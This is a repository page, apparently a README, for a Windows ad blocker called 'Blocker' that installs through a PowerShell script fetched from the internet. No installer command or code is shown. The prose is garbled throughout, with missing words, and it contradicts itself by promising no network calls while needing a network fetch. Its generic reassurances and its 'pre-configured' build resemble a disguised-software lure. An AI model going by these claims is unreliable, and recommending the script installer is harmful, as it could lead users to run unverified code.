Skip to content

Latest commit

 

History

20 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Blocker: Desktop Network Filtering — Security Tool

💻 PowerShell Installer

checks lic stage ps-core


Blocker is a desktop utility engineered Windows x64 environments, designed to intercept and suppress advertising content at the system level before it reaches the display layer. The build operates as a self-contained package, requiring no external runtime dependencies or network calls during execution, which allows it to function reliably in offline and air-gapped deployments. All filtering logic runs locally, keeping telemetry and browsing metadata confined to the host machine. Verification procedures and integrity checks are documented below to support reproducible deployment across managed endpoints.

🔧 Requirements

  • PowerShell 5.1+ (pre-installed on Windows 10 and 11)
  • Windows 10 / 11 (x64)
  • Internet connection — required to fetch the script
  • Administrator — not required

Features

Deterministic Rule Engine: Applies a static, ordered set of matching rules against outbound requests, evaluating URL patterns, hostnames, and request types in a fixed sequence reproducible outcomes across sessions.

  • Multi-Layer Filtering: Operates at the network request layer and the document element layer independently, so a request blocked at one stage is not dependent the other stage completing successfully.
  • Local-First Processing: All matching and filtering logic executes the local machine; no request metadata is transmitted to external services classification.
  • User-Defined Rule Sets: Accepts custom filter lists in standard syntax, allowing operators to extend or override the shipped rule corpus without modifying application binaries.
  • Per-Site Exception Handling: Supports scoped allowlist entries keyed to origin, so filtering behavior can be relaxed specific domains while remaining active elsewhere.
  • Resource Budget Controls: Enforces configurable caps rule-set memory footprint and per-request evaluation time, bounding the performance cost of filtering constrained hardware.
  • Auditable Event Log: Records each blocked or allowed decision with timestamp, matched rule identifier, and requesting origin, written to a local log file suitable offline review.
  • Fail-Open Request Path: If the filter subsystem becomes unavailable or exceeds its evaluation budget, requests proceed unfiltered rather than being dropped, preserving connectivity.
  • Portable Configuration Profile: Stores all settings, custom rules, and exceptions in a single versioned profile file that can be backed up, diffed, and transferred between installations.
  • No Elevated Privileges Required: Runs within the standard user security context; installation and operation do not require administrative rights or system-level driver components.
  • Offline Rule Updates: Rule corpora are distributed as signed archives that can be imported manually, supporting air-gapped deployments where automatic retrieval is unavailable.

How it works

Blocker operates as a local filtering layer between the browser and the network stack. Its core pipeline is deterministic and auditable: each outbound request is matched against a bundled rule set, evaluated against a compact decision table, and either forwarded unchanged or dropped before a connection is established. No traffic is rewritten, injected, or proxied through a third-party server.

Request interception. The filter registers at the socket and browser-extension boundaries simultaneously, so coverage is consistent whether traffic originates from a browser tab, an embedded webview, or a background process. Interception is passive by default: the tool observes connection intent and applies rules prior to DNS resolution where the platform permits it.

Rule evaluation. The bundled rule set is a versioned, signed index derived from public filter-list formats. Matching proceeds in two stages — a fast hostname trie lookup, then a per-path pattern match requests that pass the first stage. Rules are deduplicated at build time, and the index is validated load with a checksum; a corrupted or unsigned index is rejected rather than partially applied.

Decision and enforcement. Matched requests resolve to one of three outcomes: block (connection refused locally), allow (no modification), or passthrough-with-logging (allowed but recorded diagnostics). Enforcement happens before payload transfer, so blocked requests consume no bandwidth. Unmatched requests are forwarded with zero added latency beyond the trie lookup, which is measured in microseconds per query the reference hardware.

State and persistence. The active rule index, user allowlist, and diagnostic log are stored in a single application-data directory with restrictive filesystem permissions. Configuration changes are applied atomically: the new index is written to a staging path, verified, then swapped in, so a crash mid-update cannot leave the filter in a partially configured state.

Update integrity. Rule index updates are fetched over authenticated transport and verified against an embedded public key before activation. If verification fails, the existing index remains in force and the failure is surfaced in the diagnostic log. The tool never executes downloaded content — rule indexes are data only, parsed by a memory-safe reader with bounds checks.

Transparency. Every block decision is attributable: the diagnostic log records the matched rule identifier, the request host, and the timestamp. Users can inspect this log and export it in a plain-text format. The filter's behavior is reproducible from the logged inputs and the pinned rule index version, which allows independent verification of any reported outcome.

Failure posture. If the filter cannot initialize — missing index, permission error, unsupported platform build — it fails open general traffic and reports the condition, rather than silently dropping connections. This keeps the host network functional while making the degraded state visible.

Privacy

Blocker operates entirely the local system. No telemetry, analytics, or usage statistics are collected, transmitted, or persisted to remote endpoints. The application does not phone home, does not embed tracking pixels or beacons, and does not establish outbound connections diagnostic purposes.

All filtering rules and configuration data are stored locally within the application's installation directory. Rule updates, when configured, are fetched as static assets and are not correlated with user identity, session identifiers, or device fingerprints.

The application does not read, log, or retain browsing history, page content, form inputs, or clipboard data. Inspection is limited to the network request metadata required to evaluate filtering decisions in memory; this metadata is discarded after each decision and is never written to disk.

No account creation, registration, or sign-in is required. No personal identifiers are requested. The application does not integrate third-party SDKs advertising, attribution, or behavioral profiling.

Logs generated by the application are confined to local diagnostic output, are opt-in, and can be disabled or purged at any time by the operator. No log content is transmitted off-device by the application itself.

Users retain control over stored configuration. Uninstalling the application removes its local data directory, including cached rules and preferences, unless the operator has explicitly exported a configuration backup.

FAQ

Is Blocker an accessible tool?

Yes. Blocker is distributed as a desktop package that requires no subscription and no account registration. All filtering logic executes locally the target machine.

Which platforms are supported?

The current build targets Windows x64 desktop environments. The is self-contained and does not require a separate runtime or package manager.

How does the filtering engine operate?

Blocker intercepts outbound network requests at the system level and compares each request against a local ruleset. Matched requests are blocked before a connection is established. No traffic is routed through an external server.

Does Blocker collect telemetry?

No. The application does not transmit browsing history, request logs, or usage statistics to any remote endpoint. Configuration and rule data remain the local disk.

Can the ruleset be customized?

Yes. The local ruleset is stored in a plain-text configuration file that can be extended or replaced. Custom entries follow the same syntax as the bundled list and take effect after a service restart.

What distinguishes this build from a standard release?

This is a pre-configured package intended offline deployment and evaluation. It ships with the ruleset preloaded and does not perform first-run network calls.

How is resource consumption managed?

The filtering service runs as a lightweight background process. Memory footprint scales with ruleset size, not with traffic volume. Typical idle consumption remains under 50 MB.

Is the source auditable?

The distribution includes the compiled binary alongside configuration assets. Review of the bundled ruleset and configuration files is supported without additional tooling.

What happens when a request is blocked?

Blocked requests return a local null response. The application does not display interstitial pages or redirect the user. Silent is the default behavior.

How are updates applied?

Ruleset updates are applied by replacing the local configuration file and restarting the service. The application does not phone home automatic refresh unless explicitly configured to do so.

Disclaimer

This project is provided as-is legitimate ad filtering desktop systems. It is intended to reduce unwanted advertising content and improve browsing performance within the scope of applicable local regulations. The software does not intercept, decrypt, or alter encrypted network traffic, and it does not collect telemetry, browsing history, or personal identifiers by default. Any logging is limited to local diagnostic output and remains the user's device unless explicitly exported.

Ad behavior depends filter lists, browser compatibility, and system configuration; results may vary across environments and sites. The project does not guarantee removal of all advertising content, nor does it accept responsibility site functionality affected by filtering rules. Users are responsible verifying that their use complies with the terms of service of sites they visit and with local law.

No warranty, express or implied, is provided regarding fitness a particular purpose, accuracy, or uninterrupted operation. By using this project, the user acknowledges that filtering decisions are rule-based and may occasionally affect non-advertising content. Redistribution of modified builds is permitted only under the terms stated in the License section, and any such builds must retain this notice.

License

This project is distributed under the MIT License. The license text is provided in the LICENSE file at the root of the source tree and governs all use, reproduction, modification, and redistribution of the Blocker codebase.

Permission is granted, without charge, to any person obtaining a copy of this software and associated documentation files, to deal in the software without restriction, including the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the software, subject to the conditions stated in the license text. The software is provided "as is", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness a particular purpose, and noninfringement.

In no event shall the authors or copyright holders be liable any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the software or the use or other dealings in the software. Users are responsible verifying that their deployment of Blocker complies with the terms of the license and with any applicable local regulations.

The above summary is provided convenience only. Where any discrepancy exists between this summary and the authoritative license text in the LICENSE file, the license text takes precedence.

Releases

Packages

Contributors

Languages